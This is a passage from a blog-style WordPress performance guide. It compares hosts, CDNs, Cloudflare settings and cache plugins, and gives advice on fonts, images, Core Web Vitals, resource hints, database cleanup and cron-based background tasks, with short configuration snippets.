For small sites on a budget, NameHero’s Turbo Cloud plan is similar to Hostinger between LiteSpeed, cPanel, and pricing. However, NameHero’s Turbo Cloud plan has about 1.5x more resources (3 CPU + 3GB RAM) with NVMe storage. NameHero’s support/uptimes are also better shown in TrustPilot reviews. This is one the fastest setups on a budget… you get a LiteSpeed server + LiteSpeed Cache + QUIC.cloud CDN, and email hosting. The main con is their data centers are only in the US and Netherlands. If these aren’t close to your visitors, make sure to setup QUIC.cloud’s CDN which has HTML caching (ideally the paid plan which uses all 70 PoPs).

Cpu cores on litespeed hosting plans
Litespeed cache litespeed server
Ram on litespeed hosting plans
Namehero vs siteground feedback

4. Page Builders

Elementor/Divi are slower than Gutenberg/Oxygen.

Since multiple PSI items are related to CSS/JS/fonts, many people are replacing them with lightweight alternatives. The last thing you want to do is use a slow page builder then install a bunch of “extra functionality plugins” which add even more CSS/JS. Don’t fall into this trap. If you don’t want to ditch your page builder completely, there are still ways you can optimize it.

  • Divi/Elementor add extra CSS/JS/fonts to your site.
  • Adding more page builder plugins can slow it down more.
  • GeneratePress (what I use), Kadence, Blocksy, Oxygen are faster.
  • If using Elementor, try the settings under Elementor → Experiments.
  • Same thing with Divi (Divi → Theme Options → General → Performance).
  • If using Astra Starter Sites, use a template built in Gutenberg (not Elementor).
  • Use CSS for your header/footer/sidebar (instead of bloated page builder code).
  • Elementor has a theme customizer setting to host fonts locally + preload them.
  • If you don’t use Elementor font icons, disable them or use custom icons instead.
  • If you don’t use elementor-dialog.js for popups, disable it (i.e. using Perfmatters).
  • Many page builder plugins are module-based, so disable modules you don’t use.
  • Simplify your design by using less widgets/columns (here’s a YouTube video on it).
  • If you preload critical images in FlyingPress or Perfmatters, this excludes above the fold images from lazy load and preloads them to improve LCP. However, it doesn’t work with Elementor image widgets (go through your page builder + cache plugin documentation).
  • Background images aren’t lazy loaded by default because they’re loaded from a separate CSS file. Some cache plugins support a lazy-bg class you can use to lazy load backgrounds.
  • WP Johnny offers page builder removal services but he’s expensive and usually a busy guy.
Fastest wordpress themes
View test
Elementor css
Use the coverage report to find page builder plugins adding CSS/JS

5. CDN

Have a slow TTFB in KeyCDN’s performance test?

A performant CDN with HTML caching (and other CDN features) can be the difference maker. While cdnperf.com is a good baseline, there are other things to consider.

Start by looking at their network page (you’ll see BunnyCDN’s network has more PoPs and faster a Tbps than StackPath). Also look at the features (for example, RocketCDN only serves files from the CDN and nothing else while other CDNs do a lot more than just “serving files.” Cloudflare’s dashboard has hundreds of optimizations to improve speed, security, and CPU usage. Aside from choosing a good CDN, make sure to also take advantage of everything it offers. Or just use a service like FlyingProxy/Rocket.net that integrates Cloudflare Enterprise.

CDNPoPsPriceRating
Cloudflare270Freemium2.1
BunnyCDN93$.01 – $.06/GB4.8
QUIC.cloud70Free or $.02 – $.08/GB3.0
Google Cloud CDN100+Varies where purchasedN/A
CloudFront310Free 50GB/yr then $0.02 – $.16/GB4.4
KeyCDN40$.01 – $.11/GB4.5
StackPath (Used By RocketCDN)50Varies where purchased or $7.99/mo2.3
SiteGround CDN14Free on SiteGroundN/A
WPX XDN25Free on WPXN/A

Cloudflare – it’s hard to beat Cloudflare with 270+ data centers and all the robust features. Open your Cloudflare dashboard and use the recommendations below to configure settings.

Free Cloudflare Features I Recommend Using

  • CDN – in your DNS settings, find your domain and change the proxy status to Proxied (orange cloud). This is needed for several Cloudflare features to work.
  • TLS version – set minimum TLS version to 1.2 and make sure TLS 1.3 is enabled.
  • Firewall rules – often used to block access to wp-login, XML-RPC, and “hacky” countries. Firewalls block attacks along with unwanted requests to the server.
  • Bot protection – block spammy bots from hitting your server. I would also check your Wordfence live traffic report to see bots hitting your website in real time and manually block bots like AhrefsBot + SemrushBot if you don’t use them. Bot fight mode can add a JS file to your site (invisible.js) and cause PSI errors (so test this).
  • Brotli – this only works if your host supports Brotli, otherwise GZIP will be used.
  • Early hints – while the server is waiting for a response, preload/preconnect hints are sent to the browser so resources load sooner, reducing your server think time.
  • Browser cache TTL – 1 year is good for static sites (my blog is mostly static so this is what I use) or use 1 month for dynamic sites. This is recommended by Google and can fix serve static assets with an efficient cache policy in PageSpeed Insights.
  • Crawler hints – helps search engines efficiently time crawling and save resources.
  • Cache reserve – improves cache hit ratio by making sure specific content is being served from Cloudflare even when the content hasn’t been requested for months.
  • Workers – deploy code on Cloudflare’s edge servers (try the playground). Workers are serverless with automatic scaling + load balancing. Obviously involves coding knowledge and can reduce LCP by 80%. It can also be used for external cron jobs.
  • Cache everything page rule – most common page rule which caches HTML and improves TTFB, but I recommend APO or Super Page Cache for Cloudflare instead.
  • HTTP/3 – not true HTTP/3 but still a nice feature (test your site using HTTP/3 test).
  • 0-RTT connection resumption – good for repeat visitors, latency, mobile speed.
  • Hotlink protection – saves bandwidth by stopping people from copying your images and using them on their own website while they’re hosted on your server.
  • Zaraz – offload third-party scripts to Cloudflare like Google Analytics, Facebook Pixel, chatbots, and custom HTML. But test your results against delaying these.
  • Monitor bandwidth/analytics – the more bandwidth you offload to Cloudflare the better. This should lighten the load on your server while reducing CPU usage.

Paid Cloudflare Features

  • APO – caches HTML which can improve TTFB in multiple global locations.
  • WAF – block unwanted requests, improve security, and reduce CPU usage.
  • Argo + Tiered Cache – route traffic using efficient paths with Tiered Cache.
  • Image optimizations – I prefer these over plugins. Between all 3 (image resizing, Mirage, Polish), you don’t have to use a bloated image optimization plugin and they usually do a better job. You have features like compression/WebP and they also have mobile optimizations like serving smaller images to reduce mobile LCP.
  • Signed Exchanges – improves LCP when people click links in Google’s search results via prefetching which Google says can lead to a substantial improvement.
  • Load Balancing – creates a failover so your traffic is re-routed from unhealthy origins to healthy origins. Can reduce things like latency, TLS, and general errors.
  • Cloudflare Enterprise – majors benefits include prioritized routing, more PoPs, Argo + Tiered Cache, full page caching, image optimization, and other features depending where you get it from. The easiest/cheapest way is to use a host with Cloudflare Enterprise or FlyingProxy (I recommend Rocket.net’s who even built their data centers in the same locations as Cloudflare). It’s just more thought out than Cloudways/Kinsta. You could also consider using Cloudflare Pro which has some of these features. It requires more configuration but gives you more control.
Opcache memcached redis
Take advantage of different caching layers your host offers

BunnyCDN – Gijo suggests Cloudflare + BunnyCDN which is what I’ve used for a long time. If you’re using FlyingPress, FlyingCDN is powered by BunnyCDN with Bunny Optimizer + geo-replication. It’s also cheaper than buying these directly through BunnyCDN and easy to setup.

Cloudflare with bunnycdn

QUIC.cloud – use this if you’re on LiteSpeed. You’ll want to use the standard (paid) plan since the free plan only uses 6 PoPs and doesn’t have DDoS protection. It has HTML caching which is similar to Cloudflare’s full page caching and is also needed for LSC’s image/page optimizations.

Quic. Cloud cdn free vs. Standard plan

RocketCDN – uses StackPath which was removed from cdnsperf.com and has less PoPs, slower Tbps, no image optimization, no HTML caching, and no other features besides serving files from a CDN. Also isn’t “unlimited” like WP Rocket advertises since they will cut you off at some point.

SiteGround CDN – not a lot of PoPs/features and you have to use their DNS to use it (which if you remember, was blocked by Google for 4 days). I personally wouldn’t trust this with my site.

6. Cache Plugins

Let’s summarize 5 popular cache plugins in 10 lines or less.

FlyingPress – optimizes for core web vitals and real-world browsing better than the last 3. When a new core web vital update comes out (like fetchpriority resource hints), Gijo is almost always first to add it. Awesome features not found in most cache plugins: preloading critical images lets you set the number of images usually shown above the fold to exclude them from lazy load while preloading them. FlyingPress can also lazy render HTML elements, self-host YouTube placeholders, and it has a lazy-bg helper class for lazy loading background images. FlyingCDN uses BunnyCDN with Bunny Optimizer + geo-replication (great choice). The remove unused CSS feature is faster than WP Rocket’s since it loads used CSS in a separate file (instead of inline) which Perfmatters agrees is faster for visitors. Really, the main thing it doesn’t have is server-level caching. I moved from WP Rocket to FlyingPress and saw a big difference in speed.

SG OptimizerWP RocketFlyingPress
Server-side cachingxx
Delay JavaScriptx
Remove unused CSSxInlineSeparate file
Critical CSSx
Preload critical imagesxxBy number
Exclude above the fold imagesBy classBy URLBy number
Lazy load background imagesxInlineHelper class
Fetchpriority resource hintxx
Lazy render HTML elementsxx
Add missing image dimensionsx
YouTube iframe preview imagex
Self-host YouTube placeholderxx
Host fonts locallyxx
Font-display: swapx
Preload linksx
CDN (beyond Cloudflare)SiteGround CDNStackPathBunnyCDN
CDN PoPs146093
CDN TbpsN/A6580
Dynamic cachingxx
CDN geo-replicationxx
CDN image optimizationx
CDN image resizing for mobilexx
Documented APO compatibilityxx

LiteSpeed Cache – also does a great job optimizing for web vitals and real users, but different than FlyingPress. Mainly because it should only be used on LiteSpeed, it’s free, and it has faster server-side caching. However, the settings can be complicated. While some settings are similar to FlyingPress like loading used CSS in a separate file and lazy loading HTML elements, it has its own unique features such as localizing third-party resources, ESI, guest mode, LQIP, and HTML caching through QUIC. Use LSC if you’re on a LiteSpeed host. Anything else, I’d use FlyingPress.

WP Rocket – removing unused CSS is slower for visitors and RocketCDN isn’t a good CDN. WP Rocket doesn’t self-host fonts (or even recommend it) or video placeholders. Excluding above the fold images from lazy load and preloading them individually is tedious. Still no image optimization or documented APO compatibility. While Gijo releases many new features and updates FlyingPress to address core web vital updates, it seems WP Rocket has fallen behind. Two good things about WP Rocket are automatic delaying of JavaScript and documentation.

SiteGround Optimizer – great for caching, not for web vitals. Lacks way too many features and has a history of compatibility issues the developers blame on third-party plugins/themes if you check support threads. My advice is to only use it for caching, disable everything else, then use FlyingPress or WP Rocket (just make sure page caching is only enabled in 1 plugin and disabled in the other). Of course, SiteGround will glorify their cache plugin even when it’s clearly inferior.

NitroPack – don’t use this! The only reason you get better “scores” is because it moves elements off the main-thread so they can’t be detected in speed testing tools. This leads to great (but false) scores and it doesn’t actually do a good job making your website load faster compared to other plugins. Google “NitroPack blackhat” and you’ll find plenty of articles on it.

7. Other Caching

Cache plugins are just 1 layer.

Check whether your host supports object cache (Redis/memcached), OPcache, and HTTP accelerators like Varnish/FastCGI. Most do but they need to be enabled or set up manually.

You also have CDN caching which is its own layer. All these are meant for different things and you should ideally use most (if not all) them. People get scared they’re using too much caching, but as long as you’re only using 1 type of layer (not both Redis + memcached), it’s a good thing.

  • OPcache – enable in your host (can help reduce CPU usage).
  • Browser cache – enable in your cache plugin (stores files in browsers).
  • HTTP accelerators – enable in your host (probably Varnish or FastCGI).
  • Object cache – Redis generally uses memory more efficiently than memcached and is good for large/eCommerce sites. Once it’s enabled in your host, you’ll connect it your site using a plugin (i.e. LiteSpeed Cache, W3 Total Cache, SG Optimizer, WP Redis). Check your host’s documentation/support on which plugin is best. For example, Rocket.net requires you to install the WP Redis plugin while Cloudways requires you to install the Redis addon.
  • CDN cache – APO is not the same as a cache everything page rule or the Super Page Cache plugin. QUIC also does HTML caching, then there are services that include Cloudflare’s full page cache like Rocket.net’s Cloudflare Enterprise, FlyingProxy, and SiteGround Optimizer. The key thing is that you’re caching HTML somewhere as it can significantly improve TTFB.
Opcache memcached redis
Take advantage of different caching layers your host offers

8. Plugins

Watch out for plugins that:

  • Add CSS/JS to the frontend – use the Chrome Dev Tools coverage report to see which plugins add CSS and JS. This includes plugins that inject third-party JavaScript or fonts.
  • Increase CPU usage – common with plugins that collect “statistics” like Wordfence’s live traffic report, Query Monitor, and Broken Link Checker. But can really be from any plugin. WP Hive tells you if a plugin increases memory usage when browsing the WP plugin repo.
  • Add database bloat – use WP-Optimize to see which plugins (or specific plugin modules) add the most database overhead. This is explained more in this guide’s database section.
  • Load above the fold – slow plugins are bad enough, but loading them above the fold is even worse. When plugins load below the fold, you can delay them (i.e. comment plugins).
  • Use jQuery – Perfmatters has a script manager setting to show dependencies. Once it’s enabled, head to the script manager → jQuery and it shows you all plugins using jQuery. Felix Arntz wrote an article on how removing jQuery can reduce JavaScript by up to 80%.
Jquery plugin dependencies 1
Perfmatters shows plugins that depend on jQuery

Lightweight Alternatives

  • Social Sharing – Grow Social.
  • Tables – Gutenberg block (no plugin).
  • Gallery – Gutenberg block (no plugin).
  • Buttons – Gutenberg block (no plugin).
  • Comments – native comments (no plugin).
  • Image Optimization – image CDN (no plugin).
  • Translate – MultilingualPress, Polylang (not WPML).
  • Security – no security plugin (Cloudflare, firewall, etc).
  • Sliders – Soliloquy or MetaSlider (but ideally no sliders).
  • Analytics – call me crazy but I only use Google Search Console.
  • SEO – Rank Math or SEOPress (but most SEO plugins use jQuery).
  • CSS – need custom styling or even a table of contents? Just use CSS.
  • Backups – hosting backups or a lightweight alternative like UpdraftPlus.

In Query Monitor, the “queries by component” section shows your slow plugins. You can also use my list of 75+ common slow plugins. Finally, delete all plugins you’re not using (as well as their database tables in WP-Optimize), and disable plugin features/modules you’re not using.

PluginCategoryMemory ImpactPageSpeed Impact
All In One SEOSEOxx
Broken Link CheckerSEOx
DisqusCommentsx
Divi BuilderPage Builderxx
ElementorPage Builderxx
Elementor Premium AddonsPage Builderx
Elementor ProPage Builderxx
Elementor Ultimate AddonsPage Builderx
JetElementsPage Builderxx
JetpackSecurityxx
NextGEN GalleryGalleryxx
Popup BuilderPopupxx
Site Kit by GoogleAnalyticsx
Slider RevolutionSliderxx
Social Media Share ButtonsSocial Sharingx
WooCommerceWooCommercexx
WordfenceSecurityx
wpDiscuzCommentsxx
WPMLTranslatexx
Yoast SEOSEOx

9. CSS + JavaScript

Probably the #1 reason for poor core web vitals.

New Optimizations

  • Remove unused CSS – WP Rocket’s method of loading used CSS inline is slower for visitors but better for scores. You should ideally use FlyingPress, LiteSpeed Cache, or Perfmatters for this which loads used CSS in a separate file so it can be cached and doesn’t increase HTML size. You should only be using 1 plugin for this. If you’re not using an optimization plugin that does this, try DeBloat or PurifyCSS.
  • Remove Gutenberg CSS – if you don’t use Gutenberg’s block library (i.e. you’re using classic editor), you can remove Gutenberg’s CSS which is loaded by default.
  • Asset unloading plugins – remove CSS/JS (or entire plugins) from specific pages/posts where they don’t need to load. Common examples are only loading contact forms on the contact page, only loading social sharing plugins on posts, and disabling WooCommerce plugins where they’re not used. You can also disable specific files like jQuery and elementor-dialog if you don’t use them. I recommend Perfmatters especially if you’re using WP Rocket or SiteGround Optimizer because it has many optimizations not found in these plugins. Be sure to use test mode and dependencies in your script manager settings. For a free plugin, try Asset CleanUp.
  • Critical CSS – loads above the fold CSS immediately which improves LCP. Most cache plugins do this while others (like SG Optimizer) don’t. If you make changes to stylesheets or custom CSS, regenerate critical CSS so it’s current with your site.
  • Load CSS/JS non render-blocking – both deferring JavaScript and critical CSS help serve resources non render-blocking. Make sure they work in your cache plugin and exclude files from defer if they break your site. Or try Async JavaScript.
  • Minify – Cloudflare lets you do this but you should use your cache plugin instead.
  • Don’t combine – should almost always be off especially on big sites or on HTTP/2.

Optimizations Covered In Other Sections

  • Page builders – Elementor/Divi add extra CSS/JS which can be optimized with their built-in performance settings, coding your header/footer/sidebar in CSS, disabling Elementor fonts/dialog, lazy loading background images in CSS, etc.
  • Plugins – just look at the screenshot below (plugins are obviously a major factor).
  • Third-party code – hosting files locally, delaying JavaScript, and using a smaller GA tracking code can reduce its size or delay so it doesn’t impact initial load times.
  • Font Icons – disable these if you don’t use them or use Elementor’s custom icons.
  • WooCommerce – disable scripts/styles on non-eCommerce content and disable Woo plugins where they don’t need to load (many load across the entire website).
Css javascript chrome dev tools
Use the coverage report to find your largest CSS/JS files

10. Third-Party Code

This is anything on your site that has to pull info from a third-party domain (like Google Fonts, Google Analytics tracking code, or an embedded YouTube video). It’s a common reason for JS-related errors in PSI. Luckily, most of it can be optimized especially if it’s shown below the fold.

  • Step 1: Host files locally – some third-party code can be hosted locally (see the table below). LiteSpeed Cache can localize resources, FlyingPress can host fonts/YouTube thumbnails locally, Perfmatters does fonts and analytics, and WP Rocket does nothing.
Third-Party CodeURL(s)Plugins To Host It Locally
Google Fontsfonts.gstatic.comMost optimization plugins, Elementor, OMGF
Google Analyticsgoogle-analytics.comFlying Analytics, Perfmatters
Gravatarsgravatar.comSimple Local Avatar
YouTube Thumbnailsi.ytimg.comFlyingPress, WP YouTube Lyte
  • Step 2: Delay JavaScript – for third-party code that can’t be hosted locally, delay its JavaScript if it’s loading below the fold (you can also delay plugins loading below the fold). WP Rocket does this automatically while other cache plugins make you add files manually. If your cache plugin doesn’t support this, use Perfmatters or Flying Scripts. In these, you’ll set a timeout period and can increase this if you’re not seeing good results. You can try offloading third-party code to Cloudflare Zaraz, but I prefer delaying its JS.
ga( '
ga('
google-analytics.com/analytics.js
analytics.js
gtagv4.js
analytics-minimal.js
/gtm.js
/gtag/js
gtag(
/gtm-
adsbygoogle.js
grecaptcha.execute
optimize.js
fbevents.js
fbq(
/busting/facebook-tracking/
disqus.com/embed.js
script.hotjar.com
wp-content/themes/script-name
wp-content/plugins/plugin-name
  • Step 3: Prefetch or preconnect everything else – for all third-party code that can’t be hosted locally or delayed, add a DNS prefetch resource hint. Preconnect is usually only used for CDN URLs (not needed for Cloudflare), and third-party fonts (should be hosted locally). Or YouTube if you can’t eliminate requests using video optimizations in step #13.
  • Google Analytics – Perfmatters + Flying Analytics can use a minimal analytics tracking code that’s just 1.5 KB. Perfmatters can also prevent a Doubleclick request by disabling display features, but both these should only be used if you don’t need certain data in GA.
  • Avoid overtracking – one of the most common “mistakes” I see is sites using too many tracking tools: Analytics, Tag Manager, Heatmaps, Pixel, etc. Do you really need them all?
Reduce impact of third party code wordpress

11. Fonts

Probably your largest files after CSS/JS.

Your GTmetrix Waterfall chart shows font load times, number of requests, and whether they’re served locally or from a third-party domain like fonts.gstatic.com or use.fontawesome.com. Be sure to keep tabs on your Waterfall chart as you make optimizations. Fonts can also cause FOIT and FOUT which cause layout shifts. A few simple tweaks can make your fonts load much faster.

  • Reduce font families, weights, icons – try to only use 1 font family and only load the weights you actually use. Disable Font Awesome and Eicons if you don’t use them (Elementor has a tutorial on this). Some fonts also have larger file sizes than others.
  • Use WOFF2 – the most lightweight/universal format which is faster than .ttf and .otf.
  • Host locally – if your fonts are being served from fonts.gstatic.com, host them locally.
  • Preload – fonts should be preloaded when they load above the fold or used in CSS files. Most cache/optimization plugins require you to manually add font files (and if there’s a crossorigin option like in Perfmatters, it should be used for fonts). Elementor hosts fonts locally and preloads them under Theme Customizer → Performance. PSI used to tell you which fonts to preload in “preload key requests” but I don’t think they do this anymore.
  • Add font-display: optional – if you need to “ensure text remains visible during webfont load,” add font-display: optional to your font’s CSS. This is recommended by Google for the fastest performance while preventing layout shifts. It delays loading text up to 100ms. As of writing this, most plugins only support swap found in Elementor, Perfmatters, and most cache plugins. To use optional, you need to add it manually to your font’s CSS, use WP Foft Loader, or use swap until your optimization plugin supports optional. Preloading fonts that use font-display: optional completely eliminates layout shifts (FOIT) from fonts.
  • Load fonts inline – Elementor and Divi have options to do this and so does FlyingPress.
  • System fonts – system fonts generate 0 requests and are obviously best for speed, but even for someone who obsesses over performance, I’d rather have a better looking font.
  • Use custom Icons for Elementor – replace Font Awesome and Eicons with custom icons.
  • Serve Google Fonts from Cloudflare Workers – I’ll leave this here if you want to dive in.

12. Images

There are 7 PSI items related to image optimization, and that doesn’t even cover everything.

Image optimization pagespeed insights
  • Preload critical images and exclude them from lazy load – above the fold content should load immediately which is a big factor of LCP. Instead of delaying images with lazy load, you want the browser to download them immediately by using preload. The easiest way to do this (by far) is “preload critical images” in FlyingPress or Perfmatters. Instead of manually excluding/preloading above the fold images on every single page/post (because they’re usually different), you will set the number of images usually shown above the fold. In my case, it’s 3. This will preload your top 3 images while excluding them from lazy load. Currently, FlyingPress is the only cache plugin I know that supports fetchpriority which is recommended by Google to set things like your LCP image to “high priority.” Props to Gijo.
Above the fold images
Exclude above the fold images from lazy load and preload them
  • LCP image – your most important image to optimize for lower LCP (shown in PSI).
  • Background images – page builders serve background images in their CSS and won’t be lazy loaded, leading to ‘defer offscreen images’ errors. Some cache plugins have a lazy-bg helper class, Perfmatters has a CSS background images setting, and WP Rocket makes you move them to inline HTML. Check the documentation in your cache/image optimization plugin on how to lazy load them. You can also use Optimal or add a helper class yourself.
  • Image CDNs – I use Cloudflare for image optimization but Bunny Optimizer and QUIC are good too. They usually do a better job than plugins (and it’s 1 less plugin on your website).
  • Resize images for mobile – make sure your image optimization plugin (or image CDN) serves smaller images to mobile which should also improve your LCP on mobile. This is the “image resizing” feature in Cloudflare, or you could use ShortPixel Adaptive Images.
  • Properly size images – resize large images to be smaller. My blog is 765px width so I crop/resize blog images to that size (the Zoom Chrome Extension is handy for getting the perfect dimensions when taking screenshots). I always recommend creating an “image dimensions cheat sheet” so you know the size of your blog, featured, sidebar images, etc.
  • WebP – faster than JPEG/PNG and most image optimization plugins or CDNs can do this.
  • Compression – Lighthouse test images at 85% so that’s usually a good compression level.
  • CSS sprites – combines multiple small/decorative images into 1 image so it only creates 1 request. My old homepage used a CSS sprite and it was very fast. You can do it for sections like “featured on” where you show a bunch of logos. You would use a CSS sprite generator.
  • Specify dimensions – most cache plugins can “add missing dimensions” otherwise you would need to add a width/height to the image’s HTML or CSS. This prevents layout shifts.
  • Downgrade quality on slow connections – services like Cloudflare Mirage + Optimole serve low quality images on slow connections until a faster connection can be accessed.
  • Hotlink protection – stops people from using your images when they’re hosted on your server and saves bandwidth. Common with sites using high quality images or if people copy your content. Can be enabled in your host or by using Cloudflare’s hotlink protection.
  • Low quality images placeholders (LQIP) – if you’re using QUIC.cloud on LiteSpeed, these can prevent layout shifts but you need to make sure you’re doing it right or it will look bad.

13. Videos

Unless videos are optimized, they will probably be the slowest thing on a page.

While most cache plugins lazy load videos and replace iframes with a preview image, FlyingPress and WP YouTube Lyte are some of the only plugins that optimize placeholders.

  • Lazy load videos – done in cache plugins, Perfmatters, or try WP YouTube Lyte.
  • Replace YouTube iframes with preview images – the iframe (which is the heaviest element of the video) is only loaded once your visitors actually click the play button.
  • Self-host YouTube placeholders – FlyingPress and WP YouTube Lyte can self-host placeholders to prevent i.ytimg.com requests shown in your “third-party code” report.
  • Preconnect – if you’re not able to make the optimizations above and you still have third-party domains loading from YouTube, you can preconnect domains from youtube.com, i.ytimg.com, and Roboto which is currently being used as the font in the YouTube player.
https://youtube.com/watch?v=FssULNGSZIA%3Fautoplay%3D1

14. Comments

Third-party comment plugins, Gravatars, or just lots of comments can slow down WordPress.

  • Use native comments (not plugins).
  • Cache Gravatars if using LiteSpeed Cache.
  • Delay third-party comments plugins and Gravatars.
  • Use a local avatar plugin to prevent Gravatar requests.
  • If you must use Disqus, use the conditional load plugin.
  • Break comments in your WordPress discussion settings.
  • Try using a “load more comments” button especially on mobile.
  • Lazy load comments/footer (can be done in FlyingPress or LSC).
  • wpDiscuz has options for lazy loading and initiating AJAX loading after page.
Lazy render html elements flyingpress
Some optimization plugins can lazy load any HTML element (including comments)

15. LCP

Largest contentful paint is the core web vital people struggle with most.

View your “longest main-threads tasks” report in PageSpeed Insights and optimize those files. LCP includes 4 sub-parts and Google’s YouTube video is a nice resource for optimizing each one.

Largest contentful paint breakdown google
LCP breakdown
LCP Sub-PartFactorsLCP %
TTFBPrimarily hosting and CDNs + full page caching~40%
Resource load delayExclude above the fold content from optimizations, resource hints<10%
Resource load timeReduce image/CSS/JS sizes, critical CSS, CDN, cache expiration~40%
Element render delayRender-blocking CSS/JS, JS file size, font-display optional<10%

Most LCP recommendations are scattered in this guide, so I’ll just go over them briefly.

  • Exclude above the fold images from lazy load – you should never lazy load, delay, or defer anything that loads above the fold because this content should load immediately, which is why you should also use preload hints to help browsers download them faster.
  • Prioritize above the fold images – preload above the fold images (or use fetchpriority). PSI shows your largest contentful paint image which is the most important to optimize.
  • Reduce CSS, JS, font sizes – a big part of reducing load time is reducing their file sizes.
  • Reduce TTFB – 40% of LCP can usually be improved with a better hosting + CDN setup.
  • Eliminate render-blocking CSS/JS – render-blocking resources add delay (see video).
  • Use font-display: optional – if fonts aren’t loaded properly, they can also add delay.
  • Lazy render HTML elements – allows browsers to focus on the above the fold content.
  • Preload, preconnect, prefetch – hints browsers to download specific resources faster.
  • Increase cache expiration – also mentioned by Google (Cloudflare browser cache TTL).
  • Choose the right cache plugin/settings – some have better optimizations than others.
  • Enable Signed Exchanges (SXGs) – this is found in Cloudflare (Speed → Optimization).
  • Use Cloudflare Workers – Google Engineer used Workers to improve LCP by about 80%.
  • Move plugin content, ads, animations below the fold – that way, they can be delayed.

16. CLS

Layout shifts happen when things jump around while the page is loading.

You can use Google’s layout shift debugger to see these in a GIF. PSI also has an “avoid large layout shifts” item showing you which sections on your website contribute the most to CLS. Even with these recommendations, it’s hard to know why the section is causing a layout shift.

  • Change font-display to swap or optional – do this if you see “ensure text remains visible during webfont load.” As shown in section #11, font-display: optional is the best method.
  • Problems with loading CSS asynchronously – this is a setting in cache plugins that can add layout shifts caused by FOUC (flash of unstyled content). Ideally use the “remove unused CSS” method instead. If this breaks your site and you default back to loading CSS asynchronously, make sure you exclude problematic files causing FOUC, ensure critical CSS is working, and always regenerate critical CSS after updating stylesheets/custom CSS.
  • Preload fonts – preloading fonts eliminates layout shifts when they use display: optional.
  • Specify dimensions of images, videos, iframes, ads – the first 3 are easy (make sure a width and height are specified in images). Ads and other dynamic content should have reserved space by placing it in a div code. The width/height should be the ad’s largest size.
  • Use CSS transform in animations – not a fan of animations but here’s documentation.
  • Use separate mobile cache (when it makes sense) – if your mobile site is different than desktop and you’re not using a separate mobile cache, it can cause layout shifts. However, you’ll need to check your cache plugin’s documentation on when to use (and not use) this.
  • Change cookie notice plugin – search your plugin’s support thread. It’s been reported some cookie plugins cause layout shifts. I recommend Gijo’s solution or this Cookie plugin.
Cumulative layout shift

17. Preload, Prefetch, Preconnect

These help browsers download high priority resources faster.

They prioritize above the fold content (preload + fetchpriority). Preload is also used in Cloudflare’s Early Hints and for downloading internal pages in the background so they load faster when visitors click them (link preloading + Flying Pages). Prefetch + preconnect help establish early connections to third-party domains if resources aren’t already being delayed.

Preload – commonly used for above the fold images (this can also be a WebP image) but can also be used for CSS/JS (i.e. the block library), videos, audio, Cloudflare workers, and other files.

<link rel="preload" href="/image.webp?x14197" as="image">
<link rel="preload" href="/font.woff2" as="font" crossorigin>

Fetchpriority – similar to preload only assigns a priority (low, high, auto). For example, if you have a large LCP image, you would assign that image’s priority to “high.” But if you have an image carousel that’s loading above the fold, you could assign the images with a low priority. FlyingPress is the only plugin I know currently supporting fetchpriority shown in the changelog.

<img src="lcp-image.webp" fetchpriority="high">

Link preloading – there’s 2 main types: preloading links in the viewport so internal links in the immediate content load faster when clicked (supported by Flying Pages and FlyingPress). And “link preloading” where users hover over any internal link (or touch it on mobile), and the page will download in the background so by the time they actually click it, it appears to load instantly (found in cache plugins like WP Rocket). While neither improves scores, both improve perceived load time. Just be careful… preloading too many pages in the background will increase CPU usage especially if you have something like a WooCommerce store with internal links in images. If visitors are hovering over product images, this will cause lots of pages to download. Not good!

Flying pages by wp speed matters

DNS Prefetch – this helps browsers anticipate third-party domains by performing a DNS lookup, but usually not needed since third-party domains should be hosted locally or delayed.

<link rel="dns-prefetch" href="https://connect.facebook.net">
<link rel="dns-prefetch" href="https://www.googletagservices.com">

Preconnect – establishes early connections to important third-party domains. Common with CDN URLs and third-party fonts like fonts.gstatic.com, use.fontawesome.com, and use.typekit. Most cache plugins add preconnect automatically when you add a CDN URL or when enabling “Google Font Optimization” (or a similar setting), but you’ll want to check their documentation.

<link rel="preconnect" href="/assets/vendor/gstatic" crossorigin>
<link rel="preconnect" href="https://cdn.yourdomain.com" crossorigin>
Preload font perfmatters
You can use Perfmatters or Pre* Party if your optimization plugin doesn’t support a specific resource hint

18. Database

There’s usually 3 problems with using your cache plugin to clean your database:

  • It can’t take database backups.
  • It can’t remove database tables left behind by old plugins.
  • It deletes all post revisions, but you may want to keep a few.

That’s why I recommend WP Optimize for database cleanups. Go through your database tables and look for tables that are not installed or inactive. You can delete these if you don’t plan on using the plugin (or theme) again since they will usually store info in the database for future use.

Wp optimize unused database tables

Certain plugin modules/features can also add lots of overhead especially if they collect data. Rank Math’s Google Analytics module adds lots of overhead, so consider disabling this Rank Math module and getting your analytics data directly from the Google Analytics website instead.

Rank math database bloat

For ongoing database cleanup, WP-Optimize removes everything most cache plugins do, but it lets you keep a certain amount of post revisions so you have backups (I recommend 5-10). You can also connect UpdraftPlus which takes a database backup before scheduled optimizations.

Wp optimize schedule database cleanup settings

19. Background Tasks

Background tasks can bog down your server and increase CPU usage.

These are common with cache plugins (preloading + automatic cache clearing), plugins that collect stats or create autoloads, and even WordPress core (Heartbeat, autosaves, pingbacks). Many of these can be disabled, limited, or scheduled during non-peak hours using a cron job.

  • Control Preloading – the preloading in cache plugins is infamous for increasing CPU usage (WP Rocket’s preloading, LSC crawler, SG Optimizer’s preheat cache, etc). The first step is changing settings to only preload important sitemap URLs (i.e. page-sitemap.com + post-sitemap.com) instead of the full sitemap. Next, you can increase the preload interval.
Wp rocket sitemap preloading
Only preload important sitemap URLs (not the full sitemap)
  • Automatic cache clearing – there are specific actions that trigger your entire cache to be cleared (and when the cache lifespan expires). Instead of constantly clearing cache with these actions, disable automatic cache clearing and use a cron job to clear it at a specific time (once at night). It’s best to use a cron job for both cache clearing + cache preloading.
  • Disable WP-Cron – using an external cron to schedule tasks like the 2 items above helps reduce CPU usage. The first step is to add the code below your wp-config.php file. Next, setup a real cron job in your host, Cloudflare, or using a third-party service like EasyCron. Some hosts have specific instructions for adding a cron job, so check their documentation.
define('DISABLE_WP_CRON', true);

Now add a real cron job.

Cron job minutes
wget -q -O - https://yourwebsite.com/wp-cron.php?doing_wp_cron >/dev/null 2>&1
External cron job
Scheduling tasks using cron jobs for 5-10 minutes can reduce CPU usage
  • Remove unused CSS – decrease WP Rocket’s batch size and increase the cron interval.
  • Link preloading – some cache plugins can “preload links” which sounds like a good idea because when users hover over a link, that page downloads in the background to make it load faster by the time users actually click it. But if your website has lots of links (such as a WooCommerce store with links in the product images), you’ll want to leave this setting off.
